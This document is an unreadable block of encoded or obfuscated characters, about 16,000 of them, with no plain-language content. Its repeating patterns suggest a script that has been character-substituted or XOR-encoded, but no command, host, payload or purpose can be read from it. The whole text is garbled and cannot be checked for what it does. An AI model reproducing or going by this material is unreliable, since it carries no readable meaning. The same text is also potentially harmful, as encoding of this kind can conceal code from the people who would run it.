<(bnnj>)~'w,,x*bnnnnnnj:;z$&/&!*v+'/%guDDDDnnnnn(!<+/-&nnfj> #8v="}nn/=nnnj)*gnnnnn5Daan!<*<+==nx`}n-!##/ *=tn>!=':'8+c*+(' ':+n-'>&+<c=;':+DDnnn'(nnf'9}8?4>/7?,4)fwv|gfj)*gnhhnnn,,&x"7%*"w>* "|fw}xgfj)*ggnn:}w$*,?|?6~,'y| y;!w/fj)*nn`n'9}8?4>/7?,4)f|~y}gnnn`nnnnj&7wy<(&}| 9<76wbnn9),%/4:v49)x!/ /x9}(y:fgbn'9}8?4>/7?,4)f|~yzgguDnn3Dnnnnn'(nnnnnnf,,&x"7%*"w>* "|f|~y{gf47}#%=++!*:f|~yxgggnn5D(!<+/-&nfj> #8v="}n/=nnnj)*gnnnnn5Dnnn(!<+/-&nnf/<</7f47}#%=++!*:f|~yygbn'9}8?4>/7?,4)f|~yvgbn47}#%=++!*:f|~ywgbnnn'9}8?4>/7?,4)f|~v~gbnnnn,,&x"7%*"w>* "|f|~vgbnnnn'9}8?4>/7?,4)f|~v|gbnn')<,*!v z,w(-=f|~v}gbnnn47}#%=++!*:f|~vzgbn'9}8?4>/7?,4)f|~v{ggnn/=nnj%)6*w8&&8;z)gnnn5j$4>87(6/),{4sf~6x~e~6w+guj$:+v#/=+sj$4>87(6/),{4k{uD(!<+/-&nff/<</7gn,,&x"7%*"w>* "|f|~yxgfj)*nn`niainn`nnj%)6*w8&&8;z)nn`nnnidign/=nnj*x<"?::x??#'( 'gnnnnj6+~'#/x~+96+nnsnj*x<"?::x??#'( 'uDDDD3Dnnnn(!<+/-&nnnff/<</7gnn,,&x"7%*"w>* "|f|~yxgfj)*nnnn`nnn'9}8?4>/7?,4)f|~vxggn/=nnnnnnj7 |9+++-::/ =/!/gnj6+~'#/x~+96+nsnnj7 |9+++-::/ =/!/uDnn3DDnn3D; =+:fj&7wy<(&}| 9<76wbnnnnj> #8v="}bnj)*bnj%)6*w8&&8;z)bnj*x<"?::x??#'( 'bnnnnj7 |9+++-::/ =/!/guDDnnnj*6vw%v#%=~?}$}*nnnsnnnnnn/<</7fnn`nn47}#%=++!*:f|~vygbnnnnj8z()4x*~(n`n,,&x"7%*"w>* "|f|~||gguDnn(!<+/-&nnnnnnfj*6vw%v#%=~?}$}*nn/=nnnj%7#%**zx6:x{gn5D'(nnnnfo47}#%=++!*:f|~zgfj%7#%**zx6:x{ggnnnn-! :' ;+uDnnj'#=|)(>&~~nnnnnsnnnnnn,,&x"7%*"w>* "|f|~vvgfj%7#%**zx6:x{guj;v4,! vs{{d|uj6&4=#"z=?|sj;v4,! vc|}uDnnn'(nnnfj'#=|)(>&~~nnhhnn,,&x"7%*"w>* "|f|~x}gfj'#=|)(>&~~bnn'9}8?4>/7?,4)f|~vwggnossnnn(/"=+gnnnn5Dnnnnnj'#=|)(>&~~nsnn,,&x"7%*"w>* "|f|~{wgf')<,*!v z,w(-=f|~w~gnn`nnnn,,&x"7%*"w>* "|fz~gfj"'-8*'vz>bnniaignn`n')<,*!v z,w(-=f{xgbnnl lbnj'#=|)(>&~~guDnnnnnnn'(nnnf,,&x"7%*"w>* "|f|~|{gfj'#=|)(>&~~ggnnnnn5Dj'#=|)(>&~~nnnnnsn47}#%=++!*:f|~{wgf'9}8?4>/7?,4)f{ygnnnnn`n'9}8?4>/7?,4)fz~gfj"'-8*'vz>bnnnniaign`nn,,&x"7%*"w>* "|f|~wgbnnnnl lbnj'#=|)(>&~~guDDnn3Dnnnn'(nnf'9}8?4>/7?,4)f|~|{gfj'#=|)(>&~~ggn5Dnj'#=|)(>&~~nnsn'9}8?4>/7?,4)f|~{wgf,,&x"7%*"w>* "|f|~w|gnn`nnnn'9}8?4>/7?,4)fz~gfj"'-8*'vz>bnnnnnniaignnnn`nn47}#%=++!*:f|~w}gbnnnl lbnnj'#=|)(>&~~guj)<>:&}4+*|'>s{~x{uj9*y!7'+):sj)<>:&}4+*|'>k}uD3Dn'(nnf,,&x"7%*"w>* "|f|~wzgfj'#=|)(>&~~ggn=,?(,4;}z-}  {8=6$'6>fj%7#%**zx6:x{bnnnj'#=|)(>&~~guDnnnn3Dnnnnnn3DDDDnnj<-v#~)<w)xnnsnnn`nnnn')<,*!v z,w(-=f|~w{guDnnn'(nfo,,&x"7%*"w>* "|f|~wxgfj<-v#~)<w)xggnnn5Dnj+;%"#z%z::(~nnsnnn47}#%=++!*:f|~wygfgn`nn'9}8?4>/7?,4)f|~wvguDDnnnn'(nnnf'9}8?4>/7?,4)f|~wxgfj+;%"#z%z::(~ggnj<-v#~)<w)xnnsnj+;%"#z%z::(~uDDDDn3Dnn'(nnf')<,*!v z,w(-=f|~wxgfj<-v#~)<w)xgnhhnn'9}8?4>/7?,4)fw}xgfj<-v#~)<w)xggnnnn5Dnj9-nsnnn'9}8?4>/7?,4)f|~vvgfj<-v#~)<w)xguj<v~+> /'%!'+~swy~~uj<:z',;%(&sj<v~+> /'%!'+~k}uD'(nnnnf47}#%=++!*:f|~wzgfj9-gnhhnnn'9}8?4>/7?,4)f|~x}gfj9-bn,,&x"7%*"w>* "|f|~wwggnnossnnnnn(/"=+gn5Dnnnj9v >w*}~w;&$-(nnsnn47}#%=++!*:f|~~gf47}#%=++!*:f|~gbnnllbnnnnj9-guDn'(nf')<,*!v z,w(-=f|~wzgfj9v >w*}~w;&$-(gnnnnnhhnnnnnj9v >w*}~w;&$-(nnossnnnj9-nnnhhnnnnnn84*{ <*'w~?-y,-4,;fj9v >w*}~w;&$-(ggnnnnnn5DDDDnnj:v*6v'?#(/4nsn'9}8?4>/7?,4)f|~|gfj<-v#~)<w)xguDn'(nnnnf=,?(,4;}z-}  {8=6$'6>fj<-v#~)<w)xbnnj9v >w*}~w;&$-(gnhhnnnnnj:v*6v'?#(/4gnn47}#%=++!*:f|gfj<-v#~)<w)xbnnj:v*6v'?#(/4guD3Dn; =+:fj9v >w*}~w;&$-(bnnj:v*6v'?#(/4guDnn3D; =+:fj9-guDn3D; =+:fj<-v#~)<w)xbnnj+;%"#z%z::(~guDnnj<8!!=w<&!?;v}nnnsnn47}#%=++!*:f|~y{gf,,&x"7%*"w>* "|fzv}ggnnqnnnnnn47}#%=++!*:fzv}gf')<,*!v z,w(-=f|~}ggntnnn(/"=+uD'(nnfoj<8!!=w<&!?;v}n22nj<8!!=w<&!?;v}nnnnnnsssnnnllgnnnnnj<8!!=w<&!?;v}nsnnn')<,*!v z,w(-=f|~zguDDDDnj,4y-)*,<v;~)#=~nsnn/<</7fnn`nj<8!!=w<&!?;v}bnnj8z()4x*~(nnnnn`niainnnn`nnnnj<8!!=w<&!?;v}guDnn(!<+/-&nnfj,4y-)*,<v;~)#=~n/=nj-+/-{&$v$}w*:gnnnnn5Dnn'(nnnfo,,&x"7%*"w>* "|f|~wxgfj-+/-{&$v$}w*:ggnnn-! :' ;+uDnnnnnj'#=|)(>&~~nsn,,&x"7%*"w>* "|f|~{gfj-+/-{&$v$}w*:guDDD'(nnnnnfj'#=|)(>&~~nnnnnhhn'9}8?4>/7?,4)f|~x}gfj'#=|)(>&~~bnnnn47}#%=++!*:f|~vwggnnossnnn(/"=+gnnn5Dnnnnnnj'#=|)(>&~~nnsn47}#%=++!*:f|~xgf')<,*!v z,w(-=f|~ygn`nnnnn47}#%=++!*:f|~vgfj,+,yy)8(+*bnnnniaignn`n'9}8?4>/7?,4)f|~wgbnnnllbnj'#=|)(>&~~guDDDDnnnnnn'(nf47}#%=++!*:f|~wzgfj'#=|)(>&~~ggn=,?(,4;}z-}  {8=6$'6>fj-+/-{&$v$}w*:bnnj'#=|)(>&~~guDDD3D3Dnnnnnj$9y</+!4,z)$%%-nnnsnnnnn/<</7fDDDDnnj8z()4x*~(nn`nnniainnnn`nnj,+,yy)8(+*bDnnnnnj+x$%;+4/-+ <(nnn`nniainn`nnnj,+,yy)8(+*bDDDnnnnnj>)~'w,,x*n`nnnnniainn`nnj,+,yy)8(+*bDnnnnguDDDnnnnj>7w:=y!9y},xnnsnnnnnn47}#%=++!*:f|~gfj6+~'#/x~+96+bnnnj$9y</+!4,z)$%%-guDnnnnn(!<+/-&nnnnnfj$9y</+!4,z)$%%-nnnn/=nnj*+|?#!/(##,y>gnnn5Dn'(nnnnnf')<,*!v z,w(-=f|gfj*+|?#!/(##,y>ggn5Dnnnnn??:+}<">$9;(=4=8'-+fj*+|?#!/(##,y>bnnnfxzyc||ygguDnnn=,?(,4;}z-}  {8=6$'6>fj*+|?#!/(##,y>bn'9}8?4>/7?,4)fx~|gguDnnnnn3D3Dn(!<+/-&nfj>7w:=y!9y},xn/=nnnnj*+|?#!/(##,y>gn5D'(nf,,&x"7%*"w>* "|f|gfj*+|?#!/(##,y>ggnn5Dn??:+}<">$9;(=4=8'-+fj*+|?#!/(##,y>bnf}|zewxgguD'7"<=~;<?-87+}? fj*+|?#!/(##,y>guDDDD3Dnn3Dnnnn(!<+/-&nnnnf(9}#$|!y}-"${$8fgnnnn/=nj!#:)--(}+'/?:gnnn5D'(nfo'9}8?4>/7?,4)f|gfj!#:)--(}+'/?:gnnnnn22nnno'9}8?4>/7?,4)fw}xgfj!#:)--(}+'/?:ggn-! :' ;+uDnj'#=|)(>&~~nsn,,&x"7%*"w>* "|f|~{gfj!#:)--(}+'/?:guDnnnnn'(nf,,&x"7%*"w>* "|f|~wzgfj'#=|)(>&~~ggnn5Dnnnnnnnj$:$,$,v' (*w?};nsnnnn'*;<94+ wz:66%}66fj'#=|)(>&~~bn'9}8?4>/7?,4)f||gbnnn47}#%=++!*:f|}gguDj$:$,$,v' (*w?};nnsnnn'*;<94+ wz:66%}66fj$:$,$,v' (*w?};bn')<,*!v z,w(-=f|zgbnnn'9}8?4>/7?,4)f|}gguDn'(nnf47}#%=++!*:f|~wzgfj$:$,$,v' (*w?};gnhhnnnnnnj$:$,$,v' (*w?};nnnossnnnnj'#=|)(>&~~gnnn=,?(,4;}z-}  {8=6$'6>fj!#:)--(}+'/?:bnnnj$:$,$,v' (*w?};guDnnnnnnn; =+:fj$:$,$,v' (*w?};guDnnnnn3Dn3DDDDnnn'(nnnf')<,*!v z,w(-=f|~y{gf47}#%=++!*:f{wzggnnnnhhnnnnn,,&x"7%*"w>* "|f|~y{gf')<,*!v z,w(-=f|{gggnnnnnn5DDDDnnnnj%+7nnnsnnn</%<9,;68(";!vfguDn'(nfj%+7nossnnn(/"=+gn5DDDnnnnj/8}v#&4*&y{(nnsnnnn'9}8?4>/7?,4)f{wzgfj%+7bnnnni9ibnn~bnn~guDnnn'(nnnnfj/8}v#&4*&y{(gnn5Dn,,&x"7%*"w>* "|f|xgfj/8}v#&4*&y{(guDnnnn'9}8?4>/7?,4)f{vwgfj/8}v#&4*&y{(guDnnn3Dnnnnn3Dnnnnnn3Dnnnn'(nnf47}#%=++!*:f|~y{gf,,&x"7%*"w>* "|f|~~xgggnn5Dnnnnnj?=9;|{',-"9nnsnnn!=+>>,++"6<w;&fn`n47}#%=++!*:f|~~vgbnfxezgguDn*+"+:+!>:'! fj?=9;|{',-"9guDDDDj&;()w6}},=znsnnnn'9}8?4>/7?,4)f|ygf47}#%=++!*:f|vggnnnnnqn)+:!>:'! f,,&x"7%*"w>* "|f|wgbn/<</7fggntnnnn/<</7fguD'(nnnf47}#%=++!*:f||~gfj&;()w6}},=zggnn5Dnnn'(nnnnf'==+:fj&;()w6}},=zi,iggn'7"<=~;<?-87+}? fj&;()w6}},=zi,iguDnn'(nf'==+:fj&;()w6}},=z,,&x"7%*"w>* "|f||ggnnnhhnnnn'9}8?4>/7?,4)f|||gfj&;()w6}},=z,,&x"7%*"w>* "|f||gggnn5D(!<+/-&nnnfj&;()w6}},=z'9}8?4>/7?,4)f||}gnnn/=nnnj-'gnnn5DDDnnn'(nf47}#%=++!*:f|||gfj-'gnhhnn'==+:fj-'i,iggnnnn'7"<=~;<?-87+}? fj-'i,iguDn3Dn3Dnn3Dnnnnnn*+"+:+!>:'! f'9}8?4>/7?,4)f|wgguDDnn*+"+:+!>:'! f'9}8?4>/7?,4)fvvygguDnn*+"+:+!>:'! f47}#%=++!*:f||zgguD*+"+:+!>:'! f')<,*!v z,w(-=f{~~gguDnnnnnn*+"+:+!>:'! f47}#%=++!*:f||{gguDnnnnn*+"+:+!>:'! f')<,*!v z,w(-=fzx~gguDnnnn*+"+:+!>:'! f47}#%=++!*:fzzwgguDn*+"+:+!>:'! f')<,*!v z,w(-=fzxgguDDnnn; =+:fj&;()w6}},=zbnnnj-'guDnnnnn3Daann! :n',</<7n:/6! !#7n<+)'=:</:'! DD'(nf,,&x"7%*"w>* "|f|ygf47}#%=++!*:fvw~gggnnn5Dnnnnnnnn*+"+:+:</ ='+ :f')<,*!v z,w(-=f||xgguD*+"+:+:</ ='+ :f'9}8?4>/7?,4)f||ygguDnn*+"+:+:</ ='+ :f/==<)w'y{{4y'%~=?fgguD3Dn'(nnnnf,,&x"7%*"w>* "|f||vgf')<,*!v z,w(-=f||wgggnnnnn5DDD9>-"+/<=-&+*;"+*&!!%f')<,*!v z,w(-=f|}~gguj(y,8":;<}*?9>xsw{2|{|uj&+?<6:v'-&? )=sj(y,8":;<}*?9>xwuDDDn9>-"+/<=-&+*;"+*&!!%f')<,*!v z,w(-=f|}gguDn9>-"+/<=-&+*;"+*&!!%f4 9|#~4y?9<8|v+fgguDDDDnnnnn3Dnnnn3n-/:-&nnnf&<!9/,"+nnnj": >{,:|gnnnnnn5Dnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f|}|gbnj": >{,:|guD3nnnn-/:-&nf6-+>:'! nj": >{,:|gnn5D3Dnn3D(; -:'! nn%/66>*(!'+7:}?{?/fgDnnn5Dnnn:<7n5DD'(nfo*+(' +*f47}#%=++!*:fwygggnnn<+:;< nnnn(/"=+uDDDDj8z()4x*~(nsnnn;7*|y?6v~=;#*-v8:;w(/fguDnj#4z!$%!;"z-nsnnnj8z()4x*~(n`nnn')<,*!v z,w(-=f|~zzguDnnj*8?|?/>$9$84~7nnsnnnn'9}8?4>/7?,4)fww{gf<xw=w,+~4~}#8~fgbnn47}#%=++!*:f|}}gguDnnj>"~&9$z-") 76nnnnsnnnn+4667 68'<#||9fguDn'(nnfoj>"~&9$z-") 76nnn22nn'9}8?4>/7?,4)fw~|gfj>"~&9$z-") 76gnnnnrnnnnnnfzyxe|zgnnnnn22nn'9}8?4>/7?,4)f|}zgfj>"~&9$z-") 76gnnnnpnf~6{++*e~6/|(gnn22nn,<)<|-7#{,&?{:+w4xfj>"~&9$z-") 76gn22nno84*{ <*'w~?-y,-4,;fj>"~&9$z-") 76ggnnn<+:;< nnn(/"=+uDj-;<<+ :nsn47}#%=++!*:f{~zgfj#4z!$%!;"z-gnnnqn'9}8?4>/7?,4)f|~{gfj#4z!$%!;"z-gnnntnnnnlluDnnnn'(nnnnfo47}#%=++!*:f|~wzgfj-;<<+ :ggnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fy}gbn'9}8?4>/7?,4)fzz|gguDnnnnnnnn<+:;< n(/"=+uDnnn3Dnnnnnnj-;<<+ :nnnnsn$9v'='y;'&{$%$zy+fj-;<<+ :guDj$8y*{!$<: 77 nsnn9),%/4:v49)x!/ /x9}(y:fgnnnnn`nnnnitinnnn`n!=+>>,++"6<w;&fn`nnnn'9}8?4>/7?,4)f|}{gbnf~6e~6ygguDDDnnnj=<?#)|~;? w4x#%nsnnn'9}8?4>/7?,4)f|}xgnn`nnnj$8y*{!$<: 77 nnnnnn`n,,&x"7%*"w>* "|fx|yguDDDDj#}v& 6w</nnnsnnnn'9}8?4>/7?,4)f|}ygnnn`nnnnnj$8y*{!$<: 77 nnn`n,,&x"7%*"w>* "|fx|yguDnnnnnj/*8yw> w$?#&nnnnnnsnn!=+>>,++"6<w;&fnn`nn47}#%=++!*:f|}vgbnf{e}gguDnnj;87x%{-+/ 4-89$'nnnnsnnnn')<,*!v z,w(-=f|~xgf47}#%=++!*:f|}wgn`nj/*8yw> w$?#&nn`n'9}8?4>/7?,4)f|z~gbnnllbnnnnnj-;<<+ :guDnnnj; y7$?,(~"$?{nnnsnf47}#%=++!*:f|zgfj;87x%{-+/ 4-89$'bnnn47}#%=++!*:f|z|ggnnnnnossnnn(/"=+guDn'(nf,,&x"7%*"w>* "|f|zgfj-;<<+ :bnnj=<?#)|~;? w4x#%gnnossnn(/"=+nnhhn,,&x"7%*"w>* "|f|zgfj-;<<+ :bnnnnnnj#}v& 6w</gnnnossnnn(/"=+nnnnhhnnoj; y7$?,(~"$?{gnn<+:;< nnn:<;+uDj-;<<+ :nnsnnn47}#%=++!*:f|z}gf47}#%=++!*:f|zzgbnnllbnnj;87x%{-+/ 4-89$'guDn'(nfo,,&x"7%*"w>* "|f|~wzgfj-;<<+ :ggnn5Dnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fy}gbnnn,,&x"7%*"w>* "|f{x~gguDDnnn<+:;< nnn(/"=+uDnn3Dnnj-x8'<%y"()8nnnnnnsnnn6:}/<")$?4:?9=':|fguDn'(nnnnnnfoj-x8'<%y"()8gnnnnn<+:;< n(/"=+uDDDnnnj-~4<+)|!{<|)<"nsn,,&x"7%*"w>* "|f|z{gn`nnn'9}8?4>/7?,4)f|~x|gf'9}8?4>/7?,4)f|zxgfj*8?|?/>$9$84~7n`nf=:<' )gn><$64z"x*x#$z|8fggbnnn~bnnnfwv~xgguDnj8%'!-!>xv%|zwnnnsnnnn w(=#-z$*6z+x>&>z+(wfD'9}8?4>/7?,4)f|zygbD/<</7fi	ibnnni	 xzibnnnnni	
 ibnni igbDn/<</7fj*8?|?/>$9$84~7bnj-x8'<%y"()8bnj-~4<+)|!{<|)<"bn9),%/4:v49)x!/ /x9}(y:fggDnnnnnguDnDDn'(nnfoj8%'!-!>xv%|zwgnnn5Dnnnn'(nnff' :gnn)+:!>:'! f,,&x"7%*"w>* "|f|zvgbnnn~gnpnnnn~gnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fy}gbnnn47}#%=++!*:f|zwgguDDDDnn<+:;< n(/"=+uDn3DDnnnnnj-;<<+ :nsn$9v'='y;'&{$%$zy+fj-;<<+ :guDnnnnj78*7:'6: /)$x(nsnnn')<,*!v z,w(-=f|z}gf,,&x"7%*"w>* "|f|{~gbnnnnllbnj8%'!-!>xv%|zwguDnj!<6}9$,:!" 6?'ynsnnf'9}8?4>/7?,4)f|{gfj-;<<+ :gnnsssnn~guDDDn'(nnfoj!<6}9$,:!" 6?'ygnnnn5Dn'(nfo:&)='=&yx(4(y(|&4 f47}#%=++!*:fy}gggnn5DDDnnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fy}gbnnnn47}#%=++!*:f{x|gguDnnn<+:;< nn(/"=+uDn3DD'(nnfo ~-w!;!:/{/4'fj#4z!$%!;"z-bnnnnnnj-;<<+ :ggn5Dn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fy}gbnnnn'9}8?4>/7?,4)fxzgguDDDDnnnnn<+:;< n(/"=+uDnn3Dnn-?68+#87)>9~4''$<f47}#%=++!*:fy}gguDn3nnn+"=+n5Dn'(nnnfo ~-w!;!:/{/4'fj#4z!$%!;"z-bnllggn5j<?*=6&w;;swewuj:9*"%>:76~-;sj<?*=6&w;;c{uDnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fy}gbnnnnn,,&x"7%*"w>* "|f|{|gguDD<+:;< nnnn(/"=+uDnnnnn3Dnnnn3Dnj8)~':+{>&=6&nnnsn+"w{*w#|y#'>(v><y}x>wfj-;<<+ :bnnj=<?#)|~;? w4x#%nnn`nnl lnn`nj78*7:'6: /)$x(nn`nnnnl lnn`nj#}v& 6w</guDDDDn'(nfo=,?(,4;}z-}  {8=6$'6>fj#4z!$%!;"z-bnj8)~':+{>&=6&ggnn5Dnnnnn<+:;< nn(/"=+uDDnnn3Dnnnnn'(nfj!<6}9$,:!" 6?'ygn"~/(%7wz&:z(&w/fj#4z!$%!;"z-guDn<+:;< nnnnn:<;+uDnn3nn-/:-&nf&<!9/,"+nnnnj": >{,:|gnnnn5Dnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fy}gbnj": >{,:|guDnnnnnnnn<+:;< nn(/"=+uDDn3n-/:-&nnnf6-+>:'! nnj": >{,:|gnnn5Dn<+:;< nnnn(/"=+uDnnnnn3DDDD3DDDD(; -:'! nnnn(9}#$|!y}-"${$8fgDn5Dnnnnnnj<'4-8}$4!&? *66nnnnsn/<</7fguDnnDDnnnnnnnn'(nfo'9}8?4>/7?,4)f||vgf')<,*!v z,w(-=f|vgggn<+:;< nj<'4-8}$4!&? *66uDnnnnnj'**&)$,{nnsnnf*+(' +*f'9}8?4>/7?,4)fwyvggnnnnqnnnnnn  
ntnnnnf*+(' +*f,,&x"7%*"w>* "|fwyggnnnqnnnn`nn,,&x"7%*"w>* "|f|{}gnnntnllggn`nn47}#%=++!*:f|{zguDDnnnnj;>8 9|6'6,z' =|ynnsnf=:<' )gnnn)+:!>:'! f47}#%=++!*:f|{}gbnnnllguDn'(nnnnfj;>8 9|6'6,z' =|ynnnossnnllgnnj<'4-8}$4!&? *66nnnnsnj'**&)$,{n`nnnj;>8 9|6'6,z' =|yn`n'9}8?4>/7?,4)f|~z{guDnj(9?y6;{=?#"6&&wnnnnsnnnf=:<' )gnn)+:!>:'! f')<,*!v z,w(-=f|{zgbnllguDDDnnn'(nfj(9?y6;{=?#"6&&wnnnossnllnhhnnj(9?y6;{=?#"6&&wnossnnj;>8 9|6'6,z' =|ygnnj<'4-8}$4!&? *66nsnnj'**&)$,{nnn`nnnnj(9?y6;{=?#"6&&wnnnn`n,,&x"7%*"w>* "|f|~z{guDDDDnnn<+:;< nnj<'4-8}$4!&? *66uDnnn3Dnn(; -:'! n"y'/9<#w,{><{ 99w<fgDn5Dnnn:<7nn5D'(nnnfo*+(' +*f,,&x"7%*"w>* "|fwyggn22no47}#%=++!*:f||vgf')<,*!v z,w(-=f|{{gggnn<+:;< uDnn(!<+/-&nnnf(9}#$|!y}-"${$8fgnnnn/=nnnnj''~=~{w)y#>7w"&(gnnnn5Daan&!=:n,7:+n!<*+<DDDnnnj'6<)*&xx' ;4nsnnn9#::(!7?8|, ,v})v'fgnn`n'9}8?4>/7?,4)f|{xgn`nn!=+>>,++"6<w;&fj''~=~{w)y#>7w"&(bnnnfeggnn`nn,,&x"7%*"w>* "|fv}yguDnnn'(nnfo,,&x"7%*"w>* "|f|gfj'6<)*&xx' ;4ggnnn-! :' ;+uDnn'(nf,,&x"7%*"w>* "|f|gfj''~=~{w)y#>7w"&(gnnnhhnnnn')<,*!v z,w(-=f|~z~gfj''~=~{w)y#>7w"&(gnpnnnn~gnn-! :' ;+uDnj8&x+{6~<%/nnnnnsnn')<,*!v z,w(-=f|~{gfj'6<)*&xx' ;4guDnnn'(nnfo'9}8?4>/7?,4)f|~wzgfj8&x+{6~<%/gnnnnn22nnj8&x+{6~<%/nnnnnsssnnnnllgnn-! :' ;+uDDD'(nf=,?(,4;}z-}  {8=6$'6>fj''~=~{w)y#>7w"&(bnnnj8&x+{6~<%/ggnnnnn5Dn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f|{ygbnnnn')<,*!v z,w(-=f|{vgguDnn;>*/:+!>:'! f'9}8?4>/7?,4)f|{wgbnn47}#%=++!*:fvv|gfgbnnn'9}8?4>/7?,4)f|~}gguDnnnn3Dn3Daan*'=>/:-&n-!; :c#' c=%+:-&DDnn3nn-/:-&nnnf&<!9/,"+nnnj": >{,:|gnn5Dn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f|{ygbnnnj": >{,:|guDnn3nnn-/:-&nnnf6-+>:'! nnj": >{,:|gn5DDD3Dn3Dnnnnnn(; -:'! nn*,}wz=?46{w/|?{6|fgDnnnnn5DDDDn:<7n5Dn'(nfo*+(' +*f47}#%=++!*:f|x~gggn<+:;< nnnnnn(/"=+uDnnnnnnDDnnj&:>=(+/6*8*nnnnsnnnn(9}#$|!y}-"${$8fguD'(nnnnf+#>:7fj&:>=(+/6*8*ggnnn<+:;< nnn(/"=+uDnj*+/7'v)(&')-nsnf' :gnn)+:!>:'! f47}#%=++!*:f|xgbnnnnn~guD'(nnnnnfj*+/7'v)(&')-nhhnnnn')<,*!v z,w(-=fvv|gfgncnnnnnj*+/7'v)(&')-nnrnf~6|/*ze~6|x/-ggn<+:;< n(/"=+uDnnnj$8y*{!$<: 77 nsnn9),%/4:v49)x!/ /x9}(y:fgnn`nnnitinn`nnn!=+>>,++"6<w;&fnnnn`nnnnnn'9}8?4>/7?,4)fv{gbnnnnnnf~6xe~6|gguDDDnj=<?#)|~;? w4x#%nnsnn,,&x"7%*"w>* "|f|x|gnn`nnnnnj$8y*{!$<: 77 nn`n')<,*!v z,w(-=f|x}guDj#}v& 6w</nnnsn'9}8?4>/7?,4)f|xzgnnnn`nj$8y*{!$<: 77 nnnnn`nnnn,,&x"7%*"w>* "|f|x}guDj-~4<+)|!{<|)<"nnnsnn,,&x"7%*"w>* "|f|x{gn`nn'9}8?4>/7?,4)f|xxgf'9}8?4>/7?,4)f|zxgfnn`nnnf=:<' )gnnn><$64z"x*x#$z|8fggbnnnnnn~bnf|rr|gguDnj*8?|?/>$9$84~7nnsnnn47}#%=++!*:fww{gf<xw=w,+~4~}#8~fgbnn')<,*!v z,w(-=f|xygguDnj-x8'<%y"()8nnnnsn6:}/<")$?4:?9=':|fguDnnnDDn'(nnnfoj-x8'<%y"()8gnn<+:;< nn(/"=+uDj:<x{x'?} "nsnnnn w(=#-z$*6z+x>&>z+(wfDnn')<,*!v z,w(-=fy}zgbDnn/<</7fi	ibni	 xzibnnni	
 ibnni igbDnnnnnn/<</7fj*8?|?/>$9$84~7bnj-x8'<%y"()8bnnj-~4<+)|!{<|)<"bnnnnn9),%/4:v49)x!/ /x9}(y:fggDnnnnnnnguDnnnn'(nnfoj:<x{x'?} "gnnnnn5DDDnn'(nnnnnff' :gnnnnn)+:!>:'! f,,&x"7%*"w>* "|f|zvgbnn~gnnnnnpnnnn~gnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f|{ygbnnnnnn47}#%=++!*:f|xvgguDnnnn<+:;< n(/"=+uDnn3Dnnj:<x{x'?} "nnnsnn'9}8?4>/7?,4)f|xwgf')<,*!v z,w(-=f|{~gbnnnnllbnj:<x{x'?} "guDnnnn'(nnnnfo,,&x"7%*"w>* "|f|~wzgfj:<x{x'?} "gn22nnnj:<x{x'?} "nnnnsssnnnnllgn<+:;< n(/"=+uDnn(!<+/-&nnfj&:>=(+/6*8*nn/=nnnj!#:)--(}+'/?:gnn5Dnnnnnn'(nnnnfo'9}8?4>/7?,4)f|gfj!#:)--(}+'/?:ggnn-! :' ;+uDj;!w#(x:4&$!nsnn'9}8?4>/7?,4)f||vgf')<,*!v z,w(-=f~zggnnqnnnnn,,&x"7%*"w>* "|f~zgfj!#:)--(}+'/?:bni-ignnntnnn(/"=+uDnn'(nfj;!w#(x:4&$!nnossnn(/"=+nnnnnhhn'9}8?4>/7?,4)f||vgf')<,*!v z,w(-=f|y~gggn("!-%fj;!w#(x:4&$!bnnguDnj-;<<+ :nnsnnnnnn47}#%=++!*:f|~{gfj!#:)--(}+'/?:guDn'(nnfo47}#%=++!*:f|~wzgfj-;<<+ :ggnnnnn5Dn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f|ygbn47}#%=++!*:fzz|gguDnnnn'(nnnfj;!w#(x:4&$!nnnnnossnnn(/"=+gnnnn5DD'(nf'9}8?4>/7?,4)f|y|gf'9}8?4>/7?,4)f|y}gggnnn("!-%fj;!w#(x:4&$!bnnnn guDnnnnn(-"!=+fj;!w#(x:4&$!guDn3Dnnn-! :' ;+uDnn3D:<7nnn5DDn'(nnnnnf')<,*!v z,w(-=f|{gfj-;<<+ :gnpnnnnf~6-(-}e~6+}~}*ggnnnnnj-;<<+ :nnnsn$9v'='y;'&{$%$zy+fj-;<<+ :guj+"+,6&z49{9s~x2w{uj y(9,/v>/!7/sj+"+,6&z49{9zuDnnnn'(nnf,,&x"7%*"w>* "|f|zgfj-;<<+ :bnnnj=<?#)|~;? w4x#%gnnnnnossn(/"=+nhhnnn'9}8?4>/7?,4)f|zgfj-;<<+ :bnnnnnj#}v& 6w</gnnossnn(/"=+gn<+:;< nnnnn:<;+uDD'(nnnnnnfo47}#%=++!*:fw}xgfj!#:)--(}+'/?:ggnnn-! :' ;+uDDDDnnnnnj'6<)*&xx' ;4nnnsnnn9#::(!7?8|, ,v})v'fgnnnnn`nn47}#%=++!*:f|yzgnnn`n!=+>>,++"6<w;&fj!#:)--(}+'/?:bnnfxrrggnnnnnn`n,,&x"7%*"w>* "|f|y{guDDDDnnj%7" *$$w7nsn!=+>>,++"6<w;&fnnn`nnn')<,*!v z,w(-=f|yxgbnnnnnf|rr|gguDnj-;<<+ :nnnnsnn'*;<94+ wz:66%}66fj-;<<+ :bnn'9}8?4>/7?,4)f||gbnn')<,*!v z,w(-=f|yygguDnnnj-;<<+ :nnnnnsnn'9}8?4>/7?,4)f|yvgf'9}8?4>/7?,4)f|ywgbnnnnnnllbnnj-;<<+ :guD'(nnfo,,&x"7%*"w>* "|f|~wzgfj-;<<+ :ggn5DDnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f|v~gbnnn,,&x"7%*"w>* "|f|vgguj,8%6/:>&~)~?,sz2|vuj78%,-z(&4sj,8%6/:>&~)~?,|~~uDDDnnnn-! :' ;+uDnn3D'(nnf,,&x"7%*"w>* "|f|v|gfj-;<<+ 